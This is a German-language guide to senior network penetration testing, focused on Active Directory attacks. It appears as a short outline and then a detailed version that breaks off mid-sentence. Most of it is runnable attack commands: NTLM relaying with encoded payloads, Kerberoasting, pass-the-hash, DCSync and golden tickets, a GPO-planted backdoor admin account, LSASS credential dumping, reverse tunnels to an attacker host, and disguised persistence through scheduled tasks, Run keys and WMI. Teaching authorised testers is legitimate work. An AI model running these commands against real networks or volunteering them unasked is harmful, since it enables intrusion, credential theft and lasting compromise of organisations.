Senior Network Pentesting – Kompletter Leitfaden
1. Fundamentale Netzwerk-Kenntnisse
OSI & TCP/IP Modell – Tiefes Verständnis
- Layer 2: ARP-Spoofing, VLAN-Hopping, MAC-Flooding, STP-Angriffe
- Layer 3: IP-Spoofing, Routing-Protokoll-Manipulation (OSPF, BGP)
- Layer 4: TCP/UDP Manipulation, Connection Hijacking
- Praktisch: Wireshark-Filter schreiben, Traffic analysieren, Protokoll-Anomalien erkennen
Netzwerk-Protokolle ausnutzen
- DNS: Zone Transfers, Cache Poisoning, Tunneling
- DHCP: Rogue DHCP Server, Starvation Attacks
- SMB/CIFS: Relay-Attacks, NTLM-Cracking, Null-Sessions
- LDAP: Injection, Information Disclosure
- SNMP: Community String Bruteforce, MIB-Walking
- NetBIOS/LLMNR/mDNS: Responder-Attacks
2. Active Directory Penetration Testing
Reconnaissance & Enumeration
# BloodHound für AD-Mapping
bloodhound-python -d domain.local -u user -p pass -ns <DC-IP> -c all
# Impacket-Tools
GetADUsers.py -all domain/user:pass@<DC-IP>
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
# PowerView-Alternativen
ldapsearch, rpcclient, enum4linux-ng
Angriffsvektoren
- LLMNR/NBT-NS Poisoning: Responder + ntlmrelayx
- Kerberoasting: GetUserSPNs.py, Hashcat
- AS-REP Roasting: Accounts ohne Pre-Auth
- Token Impersonation: Incognito, Mimikatz
- Pass-the-Hash/Ticket: Impacket, CrackMapExec
- DCSync: Mimikatz, secretsdump.py
- Constrained/Unconstrained Delegation: Rubeus, Kekeo
- ADCS Attacks: Certify, ESC1-ESC8 Szenarien
- GPO Abuse: SharpGPOAbuse
- Resource-Based Constrained Delegation (RBCD)
Privilege Escalation
- Local Admin → Domain Admin: Golden/Silver Tickets
- ACL Abuse: WriteDACL, GenericAll, ForceChangePassword
- Service Account Exploitation
- Credential Hunting: Lazagne, SessionGopher, Registry-Keys
3. Fortgeschrittene Exploitation
Pivoting & Lateral Movement
# Chisel für SOCKS-Proxy
chisel server -p 8000 --reverse
chisel client <attacker-IP>:8000 R:socks
# Ligolo-ng (moderner)
ligolo-proxy -selfcert
# SSH-Tunneling
ssh -D 1080 -N -f user@pivot-host
proxychains nmap -sT -Pn <internal-target>
# Port Forwarding
ssh -L 8080:internal-host:80 user@pivot
Post-Exploitation
- Persistence: Scheduled Tasks, Registry Run Keys, WMI Events, DLL Hijacking
- Defense Evasion: AMSI Bypass, ETW Patching, Process Injection
- Credential Dumping: LSASS, SAM, LSA Secrets, DPAPI
- Lateral Movement Tools: WMI, PSExec, DCOM, WinRM
4. Netzwerk-Segmentierung testen
VLAN-Sicherheit
- VLAN Hopping: Switch Spoofing, Double Tagging
- Tools: Yersinia, Scapy
- Firewall-Bypass: ACL-Testing mit hping3, nmap
Routing & Switching
- HSRP/VRRP Hijacking
- Spanning Tree Manipulation
- CDP/LLDP Information Gathering
5. Wireless Network Penetration
Enterprise WiFi (WPA2-Enterprise)
# EAP-Methoden angreifen
hostapd-wpe für Evil Twin
eaphammer für Credential Harvesting
# PEAP/EAP-TLS Angriffe
Certificate Validation Bypass
WPA2/WPA3
- PMKID-Attack: hcxdumptool, hcxtools
- WPA3 Dragonblood: Downgrade-Attacks
- Rogue AP: hostapd, airbase-ng
6. VPN & Remote Access
VPN-Testing
- IPsec: ike-scan, Aggressive Mode
- SSL-VPN: CVE-Exploits (Pulse Secure, Fortinet)
- OpenVPN: Certificate-based Auth Testing
- PPTP/L2TP: Schwache Krypto
RDP, VNC, SSH
- RDP: BlueKeep, DejaBlue, Session Hijacking
- SSH: Weak Ciphers, User Enumeration, Key-Reuse
- VNC: Weak/No Auth, Traffic Sniffing
7. Network Infrastructure
Router & Switches
- Default Credentials: Cirt.net, Router-Scan
- SNMP: SNMPwalk, Braa
- Web-Interfaces: Burp Suite, CSRF
Load Balancer & Proxies
- F5 BIG-IP: TMUI Exploits
- HAProxy/Nginx: Misconfigurations
- Forward Proxy Bypass
8. Tools & Frameworks (Mastery-Level)
Essentials
# Reconnaissance
nmap -sC -sV -A --script=vuln
masscan -p1-65535 --rate=10000
netdiscover, arp-scan
# Impacket Suite (Python)
psexec.py, wmiexec.py, smbexec.py
secretsdump.py, GetUserSPNs.py
# CrackMapExec
crackmapexec smb <target> -u users.txt -p passwords.txt --shares
crackmapexec smb <target> -u user -H <NTLM-hash> -x "whoami"
# Metasploit
auxiliary/scanner/*, exploit/windows/*
Spezialisierte Tools
- BloodHound + SharpHound: AD-Angriffsplanung
- Responder + ntlmrelayx: NTLM-Relay
- Covenant/Sliver: C2-Frameworks
- Rubeus: Kerberos-Attacks
- Mimikatz/Pypykatz: Credential Extraction
- PowerShell Empire/Starkiller
- Cobalt Strike (kommerziell)
9. Evasion & Stealth
AV/EDR Bypass
- AMSI Bypass: Powershell-Obfuscation
- ETW Patching: Logging deaktivieren
- Process Injection: Shellcode in legitime Prozesse
- Living-off-the-Land: LOLBins (certutil, rundll32, mshta)
Network Detection Evasion
- Slow Scanning: –scan-delay, randomize-hosts
- Fragmentation: -f, –mtu
- Decoy Scans: -D RND:10
- Protocol Tunneling: DNS/ICMP/HTTP
10. Reporting & Methodology
PTES/OSSTMM/OWASP
- Pre-Engagement: Scoping, Rules of Engagement
- Intelligence Gathering: Passive + Active Recon
- Threat Modeling: Attack Surface Analysis
- Exploitation: PoC + Business Impact
- Post-Exploitation: Privilege Escalation, Persistence
- Reporting: Executive Summary + Technical Details
Vulnerability Scoring
- CVSS v3.1: Impact auf CIA-Triade
- Risk Calculation: Likelihood × Impact
- Remediation Priority: Quick Wins vs. Long-term
11. Automation & Scripting
Python für Pentesting
# Scapy für Custom Packets
from scapy.all import *
packet = IP(dst="target")/TCP(dport=80)
# Socket Programming
import socket
s = socket.socket()
s.connect(("target", 445))
# Impacket Library nutzen
from impacket.smbconnection import SMBConnection
Bash Scripting
#!/bin/bash
# Automatisierte Enumeration
for ip in $(cat targets.txt); do
nmap -sV -oA scan_$ip $ip &
done
12. Continuous Learning
Zertifizierungen
- OSCP: Grundlage für Hands-on
- OSEP: Advanced Evasion
- CRTO: Red Team Ops
- PNPT: Praktisches Network Pentesting
- GXPN/GPEN: GIAC Network-fokussiert
Labs & Practice
- HackTheBox: Enterprise Labs, Pro Labs (Dante, Offshore)
- TryHackMe: Wreath, Holo Networks
- VulnHub/Proving Grounds
- CRTP/CRTE: AD-fokussierte Labs
- Active Directory Labs: Selbst aufbauen (AutomatedLab)
Ressourcen
- Blogs: ired.team, pentestlab.blog, harmj0y.net
- GitHub: PayloadsAllTheThings, LOLBAS, GTFOBins
- Twitter/X: @gentilkiwi, @harmj0y, @_RastaMouse
- Books:
- „The Hacker Playbook 3“ – Peter Kim
- „Red Team Field Manual“ – Ben Clark
- „Active Directory Security“ – Sean Metcalf
13. Soft Skills für Senior-Level
- Communication: Technische Findings für Management übersetzen
- Report Writing: Klar, präzise, umsetzbar
- Client Management: Erwartungen setzen, Scope verhandeln
- Team Leadership: Junior Pentester mentoren
- Business Understanding: Risk vs. Aufwand verstehen
14. Praktischer Workflow
1. Reconnaissance (extern/intern)
↓
2. Vulnerability Scanning & Manual Checks
↓
3. Initial Access (Phishing/External Service/WiFi)
↓
4. Post-Exploitation & Credential Harvesting
↓
5. Lateral Movement & Privilege Escalation
↓
6. Domain Dominance / Crown Jewels
↓
7. Persistence & Cleanup
↓
8. Reporting & Debriefing
Quick Cheat Sheet für AD-Angriffe
# 1. LLMNR Poisoning
responder -I eth0 -wrf
ntlmrelayx.py -tf targets.txt -smb2support
# 2. Kerberoasting
GetUserSPNs.py domain/user:pass -dc-ip <IP> -request
hashcat -m 13100 spn.hash wordlist.txt
# 3. AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -dc-ip <IP>
# 4. BloodHound
bloodhound-python -d domain.local -u user -p pass -ns <IP> -c all
# 5. DCSync
secretsdump.py domain/admin:pass@<DC-IP>
# 6. Pass-the-Hash
crackmapexec smb <targets> -u admin -H <NTLM> --sam
# 7. Golden Ticket
ticketer.py -nthash <krbtgt-hash> -domain-sid <SID> -domain domain.local admin
Viel Erfolg auf deinem Weg zum Senior Network Pentester! Der Schlüssel ist: Praktische Erfahrung > Theorie. Baue Labs auf, breche sie, lerne aus Fehlern, und bleibe immer am Ball bei neuen Techniken.
Senior Network Pentesting – Ausführlich & Praktisch
1. Netzwerk-Grundlagen – Was du wirklich brauchst
OSI & TCP/IP – Praktische Anwendung
Layer 2 (Data Link) – Wo die Magie beginnt:
# ARP-Spoofing - Du gaukelt dem Netzwerk vor, du bist der Router
arpspoof -i eth0 -t 192.168.1.100 -r 192.168.1.1
# Jetzt fließt der Traffic des Opfers durch deine Maschine
# Wireshark parallel starten, um Credentials zu sniffern
wireshark -i eth0 -f "tcp port 21 or tcp port 23 or tcp port 80"
# VLAN Hopping - Zugriff auf andere VLANs ohne Berechtigung
# Erstelle ein virtuelles Interface im VLAN 10
modprobe 8021q
vconfig add eth0 10
ifconfig eth0.10 192.168.10.50 netmask 255.255.255.0 up
# Jetzt kannst du Systeme im VLAN 10 scannen, obwohl du eigentlich im VLAN 1 bist
Warum wichtig: Viele Unternehmen trennen Netzwerke nur via VLANs (z.B. Gäste-WLAN vs. Produktiv-Netz). Wenn du VLAN-Hopping beherrschst, umgehst du diese Segmentierung.
Layer 3 (Network) – IP-Routing ausnutzen:
# Routing-Tabelle des Ziels untersuchen
nmap --script ip-forwarding 192.168.1.1
# Multihomed-Hosts finden (Systeme in mehreren Netzen = Pivoting-Kandidaten)
nmap -sn 192.168.1.0/24 --script targets-ipv6-multicast-echo
# ICMP Redirect Attack (selten, aber effektiv bei alten Systemen)
# Du sendest gefälschte ICMP-Redirect-Pakete, um Traffic umzuleiten
hping3 -1 -C 5 -K 1 -a 192.168.1.1 192.168.1.100
Layer 4 (Transport) – TCP/UDP Manipulation:
# TCP Connection Hijacking vorbereiten
# 1. Sniffen einer aktiven Verbindung
tcpdump -i eth0 'tcp and host 192.168.1.100' -w capture.pcap
# 2. Sequence Numbers analysieren (in Wireshark)
# 3. Mit Scapy eigene Pakete mit korrekten SEQ/ACK senden
python3
>>> from scapy.all import *
>>> ip = IP(src="192.168.1.100", dst="192.168.1.50")
>>> tcp = TCP(sport=12345, dport=22, flags="PA", seq=1234567, ack=7654321)
>>> payload = Raw(load="whoami\n")
>>> send(ip/tcp/payload)
Wireshark wie ein Pro nutzen
# Display Filter für Credentials
http.request.method == "POST" # POST-Requests (oft Login-Forms)
ftp.request.command == "PASS" # FTP Passwörter im Klartext
telnet.data contains "password" # Telnet-Logins
# NTLM-Hashes extrahieren
ntlmssp # Zeigt alle NTLM-Auth-Versuche
# Suspicious Traffic
tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size > 1024
# Port-Scans erkennen
# Follow TCP Stream für komplette Unterhaltungen
Rechtsklick auf Paket → Follow → TCP Stream
# Export Objekte (z.B. Dateien aus HTTP-Traffic)
File → Export Objects → HTTP
Praktisches Szenario: Du bist im Firmennetzwerk. Mit ARP-Spoofing leitest du Traffic um, Wireshark fängt ihn ab. Du siehst HTTP-POST zu internal-admin.company.local mit username=admin&password=Summer2024!. Bingo.
2. Active Directory – Das Herzstück moderner Netzwerke
Warum AD so wichtig ist
Klarstellung: 90% aller Unternehmensnetzwerke nutzen Active Directory. Wenn du AD beherrschst, kommst du fast überall rein. AD verwaltet Benutzer, Computer, Gruppen und Rechte zentral. Ein kompromittierter Domain Controller = komplette Netzwerkkontrolle.
Phase 1: Reconnaissance – Das Netzwerk verstehen
# 1. Domain Controller finden (ohne Credentials)
nmap -p 88,389,445,3268 192.168.1.0/24
# Port 88 = Kerberos, 389 = LDAP, 445 = SMB, 3268 = Global Catalog
# Alternative: DNS-Abfrage
nslookup -type=SRV _ldap._tcp.dc._msdcs.company.local
# 2. Null-Session-Enumeration (alte Systeme)
rpcclient -U "" -N 192.168.1.10
rpcclient $> enumdomusers # Liste aller User
rpcclient $> enumdomgroups # Liste aller Gruppen
rpcclient $> queryuser 0x1f4 # Details zu User mit RID 500 (Admin)
# 3. SMB Enumeration
crackmapexec smb 192.168.1.0/24
# Zeigt an: OS-Version, Signing-Status, SMBv1-Support
smbclient -L \\192.168.1.10 -N
# Listet alle Shares auf
enum4linux-ng -A 192.168.1.10
# Vollständige Enumeration: User, Gruppen, Shares, Password-Policy
Was du suchst:
- Benutzernamen für Bruteforce/Spraying
- Password Policy (Mindestlänge, Lockout-Threshold)
- Shares mit schwachen Rechten (oft liegen dort Scripts mit Passwörtern)
- Service Accounts (meist privilegiert und schwache Passwörter)
Phase 2: Initial Access – Der erste Fuß in der Tür
Methode 1: LLMNR/NBT-NS Poisoning (sehr effektiv)
# Konzept: Windows-Systeme nutzen LLMNR/NBT-NS zur Namensauflösung,
# wenn DNS fehlschlägt. Du antwortest schneller als legitime Systeme.
# 1. Responder starten (beantwortet alle Anfragen)
responder -I eth0 -wrf
# -w = WPAD, -r = Rogue Auth Server, -f = Force Auth
# Was passiert: Ein User tippt \\fileserver\share falsch als \\filsever\share
# DNS schlägt fehl → LLMNR-Broadcast → Responder antwortet: "Ich bin filsever!"
# Der Client verbindet sich mit DIR und sendet seinen NTLM-Hash
# 2. Hashes cracken
hashcat -m 5600 captured_hashes.txt rockyou.txt
# 3. Oder direkt relaying (ohne zu cracken)
# Terminal 1:
responder -I eth0 -wrf -v
# Terminal 2:
ntlmrelayx.py -tf targets.txt -smb2support
# Leitet den Hash an andere Systeme weiter, versucht dort Zugriff zu bekommen
# Wenn der User Admin auf anderen Systemen ist → Game Over
Praktisches Beispiel: Du sitzt im Konferenzraum-Netz. Nach 10 Minuten Responder hast du 5 NTLM-Hashes. Einer davon ist helpdesk:Welcome2024!. Du checkst mit CrackMapExec: Dieser User ist Local Admin auf 30 Workstations. Du hast sofort 30 Systeme kompromittiert.
Methode 2: Password Spraying
# Konzept: 1 Passwort gegen viele User testen (um Lockout zu vermeiden)
# NICHT: 1 User, viele Passwörter (= Account-Lockout)
# 1. Userliste erstellen (aus Enumeration oder LinkedIn)
# users.txt:
# john.doe
# jane.smith
# bob.johnson
# 2. Password Policy checken
crackmapexec smb 192.168.1.10 -u guest -p '' --pass-pol
# Lockout threshold: 5 attempts
# Lockout duration: 30 minutes
# → Du darfst max. 4 Versuche pro User
# 3. Spraying mit CrackMapExec
crackmapexec smb 192.168.1.10 -u users.txt -p 'Summer2024!' --continue-on-success
# Testet "Summer2024!" gegen alle User
# Alternative: kerbrute (schneller, weil Kerberos Pre-Auth)
kerbrute passwordspray -d company.local --dc 192.168.1.10 users.txt 'Winter2024!'
Häufige Passwörter in Unternehmen:
Sommer2024!/Winter2024!Welcome123!/Password123!Firmenname2024!- Alte Passwörter + aktuelle Jahreszahl
Phase 3: Enumeration mit Credentials – BloodHound ist dein bester Freund
# BloodHound zeigt grafisch ALLE Angriffspfade zu Domain Admin
# 1. Daten sammeln mit SharpHound (auf Windows-Opfer)
.\SharpHound.exe -c All -d company.local --zipfilename bh_data.zip
# 2. Oder von Linux mit bloodhound-python
bloodhound-python -d company.local -u john.doe -p 'Password123!' \
-ns 192.168.1.10 -c All --zip
# 3. BloodHound starten
sudo neo4j console # Datenbank
bloodhound # GUI
# 4. Import ZIP-File in BloodHound
# 5. Queries ausführen
# - "Shortest Path to Domain Admins from Owned Principals"
# → Markiere deinen User als "Owned", BloodHound zeigt den Weg
# - "Find Computers where Domain Users are Local Admin"
# - "Find AS-REP Roastable Users"
# - "Find Kerberoastable Users"
Was BloodHound dir zeigt:
- User „john.doe“ ist Mitglied in „IT-Support“
- „IT-Support“ hat „GenericAll“-Rechte auf „SQL-Admins“
- „SQL-Admins“ hat „AdminTo“ auf Server „SQL01“
- „SQL01“ hat einen Admin-User mit Session von „Domain Admin“
Dein Weg: john.doe → GenericAll auf SQL-Admins → Füge dich zur Gruppe hinzu → Login auf SQL01 → Token Stealing vom DA → Domain Admin
Phase 4: Kerberoasting – Service Accounts knacken
# Konzept: Service Accounts (z.B. für SQL, IIS) haben oft schwache Passwörter
# Ihr TGS (Ticket Granting Service) ist mit ihrem Passwort verschlüsselt
# Du kannst dieses Ticket anfordern und offline cracken (kein Lockout!)
# 1. SPNs (Service Principal Names) finden
GetUserSPNs.py company.local/john.doe:'Password123!' -dc-ip 192.168.1.10
# Output:
# ServicePrincipalName Name MemberOf
# MSSQLSvc/sql01.company.local:1433 svc_sql CN=Domain Admins,CN=Users,DC=company,DC=local
# 2. Tickets anfordern
GetUserSPNs.py company.local/john.doe:'Password123!' -dc-ip 192.168.1.10 \
-request -outputfile kerberoast_hashes.txt
# 3. Mit Hashcat cracken
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt --force
# Nach 20 Minuten: Password: "SQLService2019!"
# svc_sql ist Domain Admin → Du hast gewonnen
Warum so effektiv: Service Accounts werden oft mit 10+ Jahre alten Passwörtern erstellt und nie geändert. „Password1“ ist erschreckend häufig.
Phase 5: AS-REP Roasting – Accounts ohne Pre-Authentication
# Konzept: Manche User haben "Do not require Kerberos preauthentication" gesetzt
# Für diese kannst du ohne Passwort ein AS-REP Ticket anfordern
# Dieses Ticket ist mit dem User-Passwort verschlüsselt → Offline cracken
# 1. Anfällige User finden und Tickets holen
GetNPUsers.py company.local/ -usersfile users.txt -format hashcat \
-outputfile asrep_hashes.txt -dc-ip 192.168.1.10
# 2. Cracken
hashcat -m 18200 asrep_hashes.txt rockyou.txt
Phase 6: Lateral Movement – Von System zu System
Methode 1: Pass-the-Hash
# Du hast einen NTLM-Hash, aber kein Klartext-Passwort
# Kein Problem - mit dem Hash kannst du dich trotzdem authentifizieren
# Hash aus LSASS dumpen (auf kompromittiertem System)
# Variante 1: Mimikatz (laut, oft von AV erkannt)
mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Variante 2: Pypykatz (Python, leiser)
pypykatz lsa minidump lsass.dmp
# Variante 3: Task Manager → lsass.exe → Create Dump File
# Dann Dump offline analysieren
# Hash-Format: username:rid:lm-hash:ntlm-hash
# admin:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Mit Hash authentifizieren
crackmapexec smb 192.168.1.0/24 -u admin -H e19ccf75ee54e06b06a5907af13cef42 --sam
# --sam dumpt lokale User-Hashes von allen erreichbaren Systemen
# RCE mit PSExec
psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 admin@192.168.1.50
# Alternative: WMI (leiser, keine Service-Registrierung)
wmiexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 admin@192.168.1.50
Methode 2: SMB Relay (ohne Cracking)
# Konzept: Du fängst einen NTLM-Auth-Versuch ab und leitest ihn an ein anderes System
# Wenn SMB Signing deaktiviert ist → RCE auf dem Zielsystem
# 1. Systeme ohne SMB Signing finden
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
# 2. Responder Config anpassen (SMB/HTTP Server aus)
nano /usr/share/responder/Responder.conf
# SMB = Off
# HTTP = Off
# 3. Responder starten
responder -I eth0 -wrf
# 4. ntlmrelayx in anderem Terminal
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "powershell -enc <base64_payload>"
# -c führt Command auf kompromittiertem System aus
# Warte auf Opfer... Ein Admin verbindet sich mit \\dein_IP\share
# ntlmrelayx leitet die Auth zu allen Targets in relay_targets.txt
# Erfolg: Command auf 15 Systemen ausgeführt
Phase 7: Privilege Escalation zu Domain Admin
Methode 1: Token Impersonation
# Auf einem System, auf dem ein DA eingeloggt ist/war
# Mit Metasploit:
meterpreter > load incognito
meterpreter > list_tokens -u
# Delegation Tokens Available:
# COMPANY\admin_da
meterpreter > impersonate_token COMPANY\\admin_da
meterpreter > getuid
# Server username: COMPANY\admin_da
# Ohne Metasploit (mit C# Tool)
.\SharpToken.exe list
.\SharpToken.exe impersonate COMPANY\admin_da
Methode 2: DCSync Attack
# Wenn du Rechte wie "Replicating Directory Changes" hast
# (oft bei User in Domain Admins, Enterprise Admins, Backup Operators)
secretsdump.py company.local/admin_da:'Password!'@192.168.1.10 -just-dc
# Output: ALLE Passwort-Hashes der Domain
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:12345678901234567890123456789012
# Mit krbtgt-Hash kannst du Golden Tickets erstellen (siehe unten)
Methode 3: GPO Abuse
# Wenn du Schreibrechte auf ein GPO hast, das auf DAs angewendet wird
# PowerView (PowerShell)
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {$_.ActiveDirectoryRights -match "Write"}
# Mit SharpGPOAbuse Startup-Script hinzufügen
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" \
--Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" \
--Arguments "/c net user backdoor Password! /add & net localgroup administrators backdoor /add" \
--GPOName "Default Domain Controllers Policy"
# Bei nächstem GPUpdate auf DC: Backdoor-User wird erstellt
Phase 8: Persistence – Zugriff behalten
Golden Ticket (ultimative Kontrolle)
# Mit krbtgt-Hash (aus DCSync) erstellst du ein Ticket mit beliebigen Privilegien
# 1. Informationen sammeln
# Domain-SID: (wmic useraccount get name,sid | findstr Administrator)
# S-1-5-21-1234567890-1234567890-1234567890
# 2. Golden Ticket erstellen
ticketer.py -nthash 12345678901234567890123456789012 \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain company.local \
-user-id 500 \
admin_da
# 3. Ticket in Umgebung laden
export KRB5CCNAME=admin_da.ccache
# 4. Als Domain Admin authentifizieren (10 Jahre gültig!)
psexec.py -k -n @dc01.company.local
Silver Ticket (Stealth-Variante)
# Wie Golden Ticket, aber nur für einen Service (z.B. CIFS)
# Schwerer zu erkennen, weil kein DC-Kontakt
ticketer.py -nthash <service_account_hash> \
-domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
-domain company.local \
-spn cifs/fileserver.company.local \
admin_da
Skeleton Key (alle Passwörter funktionieren)
# Mimikatz-Modul, patcht lsass.exe auf DC
# Danach funktioniert "mimikatz" als Passwort für ALLE User
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Test: Von beliebigem System
net use \\dc01 /user:Administrator mimikatz
# Funktioniert, obwohl "mimikatz" nicht das echte Passwort ist
3. Pivoting – Tief ins Netzwerk vordringen
Warum Pivoting?
Klarstellung: Moderne Netzwerke sind segmentiert. Du kompromittierst einen Webserver in der DMZ (192.168.1.0/24), aber die Datenbank steht im internen Netz (10.0.0.0/8), das von deinem Angreifer-System nicht erreichbar ist. Pivoting nutzt den Webserver als „Sprungbrett“.
SOCKS Proxy mit Chisel (modern, stabil)
# Chisel = Tunneling-Tool über HTTP, verschlüsselt
# 1. Auf deinem Angreifer-System (Kali)
chisel server -p 8000 --reverse --socks5
# Lauscht auf Port 8000, erlaubt Reverse-Connections
# 2. Auf dem kompromittierten System (Webserver)
# Chisel Binary hochladen (via Python HTTP, curl, certutil, etc.)
./chisel client <deine_public_IP>:8000 R:socks
# Verbindet sich zurück, erstellt SOCKS5-Proxy auf deinem System
# 3. Auf deinem System: proxychains konfigurieren
nano /etc/proxychains4.conf
# Ganz unten hinzufügen:
# socks5 127.0.0.1 1080
# 4. Tools über Proxy laufen lassen
proxychains nmap -sT -Pn 10.0.0.50
proxychains crackmapexec smb 10.0.0.0/24
proxychains firefox # Für Webinterfaces im internen Netz
# 5. Für Metasploit: Route hinzufügen
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVHOST 127.0.0.1
msf6 > set SRVPORT 1080
msf6 > run -j
Ligolo-ng (schnellere Alternative)
# Ligolo-ng = Layer 3 Tunneling (kein SOCKS, direktes Routing)
# 1. Auf Angreifer-System
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./ligolo-proxy -selfcert
# 2. Auf Opfer-System
./agent -connect <angreifer_IP>:11601 -ignore-cert
# 3. In Ligolo-Konsole (auf Angreifer)
ligolo-ng » session # Zeigt alle Agents
ligolo-ng » 1 # Wähle Session 1
ligolo-ng » ifconfig # Zeigt Netzwerke des Opfers
# 10.0.0.0/24 (eth1)
ligolo-ng » start
# 4. Route auf Angreifer-System hinzufügen
sudo ip route add 10.0.0.0/24 dev ligolo
# 5. Jetzt direkt zugreifen (ohne proxychains)
nmap -sV 10.0.0.50
SSH Tunneling (wenn SSH verfügbar)
# Dynamic Port Forwarding (SOCKS-Proxy)
ssh -D 1080 -N -f user@kompromittiertes_system
# -D 1080 = SOCKS auf Port 1080
# -N = Keine Shell
# -f = Im Hintergrund
# Local Port Forwarding (Direkter Zugriff auf einen Port)
ssh -L 8080:10.0.0.50:80 user@kompromittiertes_system
# Jetzt: localhost:8080 → 10.0.0.50:80
# Remote Port Forwarding (Reverse-Tunnel)
ssh -R 4444:127.0.0.1:4444 angreifer@<deine_IP>
# Opfer-System verbindet sich ZU dir
# Auf deinem System lauscht jetzt Port 4444, leitet zu Opfer weiter
Port Forwarding mit Plink (SSH für Windows)
# Auf Windows-Opfer (ohne SSH)
# Plink = PuTTY CLI-Version
.\plink.exe -l user -pw password -R 4444:127.0.0.1:3389 <deine_IP>
# Tunnel RDP (3389) vom Opfer zu dir
# Jetzt: localhost:4444 auf deinem System = RDP zum Opfer
Mehrfaches Pivoting (Chain)
# Szenario:
# Du → Webserver (DMZ) → App-Server (Int-Net) → DB-Server (DB-Net)
# 1. Chisel vom Webserver zu dir
webserver$ ./chisel client <deine_IP>:8000 R:socks
# 2. proxychains auf App-Server zugreifen
proxychains ssh user@10.0.0.100 # App-Server
# 3. Auf App-Server: Zweiter Chisel
appserver$ ./chisel client 127.0.0.1:1080 R:2080:socks
# Tunnelt durch den ersten SOCKS-Proxy
# 4. Auf deinem System: Zweiter SOCKS-Port nutzen
proxychains -f proxychains2.conf nmap 172.16.0.50 # DB-Server
# proxychains2.conf:
# socks5 127.0.0.1 2080
Pro-Tipp: Immer die Tunnel dokumentieren. Nach 5 Pivots verlierst du sonst den Überblick.
4. Post-Exploitation – Was du mit Zugriff machst
Credential Dumping – Alle Passwörter sammeln
LSASS Dumping (modernes Windows 10/11)
# Methode 1: Task Manager (GUI, einfach)
# Rechtsklick auf lsass.exe → Create Dump File
# Datei auf dein System kopieren
# Analyse mit pypykatz
pypykatz lsa minidump lsass.DMP
# Output: Klartext-Passwörter (wenn Credential Guard aus), NTLM-Hashes, Kerberos-Keys
# Methode 2: Procdump (CLI, Sysinternals)
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Methode 3: Comsvcs.dll (Native Windows-DLL, keine Tools nötig)
rundll32.exe C:\windows\System32\comsvcs.dll MiniDump <lsass_PID> lsass.dmp full
# PID finden: tasklist | findstr lsass
SAM/SYSTEM Hashes (lokale User)
# Registry-Hives kopieren
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# Auf dein System kopieren, dann:
secretsdump.py -sam sam.hive -system system.hive LOCAL
# Gibt dir NTLM-Hashes aller lokalen User
# Alternativ: Direkt von Remote-System
crackmapexec smb 192.168.1.50 -u admin -p 'Password!' --sam
LSA Secrets (gespeicherte Service-Account-Passwörter)
# Oft liegen hier Passwörter für geplante Tasks, Services
reg save HKLM\SECURITY security.hive
secretsdump.py -security security.hive -system system.hive LOCAL
# Output: z.B. DPAPI-Keys, Auto-Logon-Passwörter, Cache-Hashes
DPAPI (gespeicherte Browser-Passwörter, RDP-Credentials)
# DPAPI = Data Protection API, verschlüsselt User-Daten
# Mimikatz
mimikatz # sekurlsa::dpapi
# Mit Master Keys Chrome-Passwörter extrahieren
.\SharpChrome.exe logins /unprotect
# Oder: Lazagne (alle Passwörter auf System)
.\lazagne.exe all
# Findet: Browser, FileZilla, Outlook, WLAN-Passwörter, etc.
Persistence Mechanismen (für Red Team)
Scheduled Tasks
# Erstelle Task, der bei Login deine Payload startet
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" \
/sc onlogon /ru SYSTEM
# Oder: Täglich um 3 Uhr nachts
schtasks /create /tn "BackupTask" /tr "powershell -enc <payload>" \
/sc daily /st 03:00 /ru SYSTEM
Registry Run Keys
# HKCU für aktuellen User
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "Updater" /t REG_SZ /d "C:\Users\Public\svchost.exe"
# HKLM für alle User (braucht Admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \
/v "SecurityUpdate" /t REG_SZ /d "C:\Windows\Temp\winlogon.exe"
WMI Event Subscriptions (sehr versteckt)
# Erstelle Event Filter (Trigger)
$Filter = Set-WmiInstance -Namespace root\subscription `
-Class __EventFilter -Arguments @{
Name = "SystemMonitor"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240"
}
# Erstelle Consumer (Aktion)
$Consumer = Set-WmiInstance -Namespace root\subscription `
-Class CommandLineEventConsumer -Arguments @{
Name = "SystemMonitor"
CommandLineTemplate = "powershell.exe -enc <payload>"
}
# Verbinde beides
Set-WmiInstance -Namespace root\subscription `
-Class __FilterToConsumerBinding -Arguments @{
Filter = $Filter
Consumer = $Consumer
}
# Dieser Code startet deine Payload 4 Minuten nach jedem Boot
DLL Hijacking
# Viele Programme laden DLLs aus ihrem Verzeichnis BEVOR System32
# Beispiel: Teams.exe lädt sqlite3.dll
# 1. Finde anfällige Programme
.\Process Monitor.exe # SysInternals
# Filter: "NAME NOT FOUND" + ".dll"
# 2. Erstelle Proxy-DLL (leitet zu echter DLL weiter + führt Payload aus)
# Mit msfvenom:
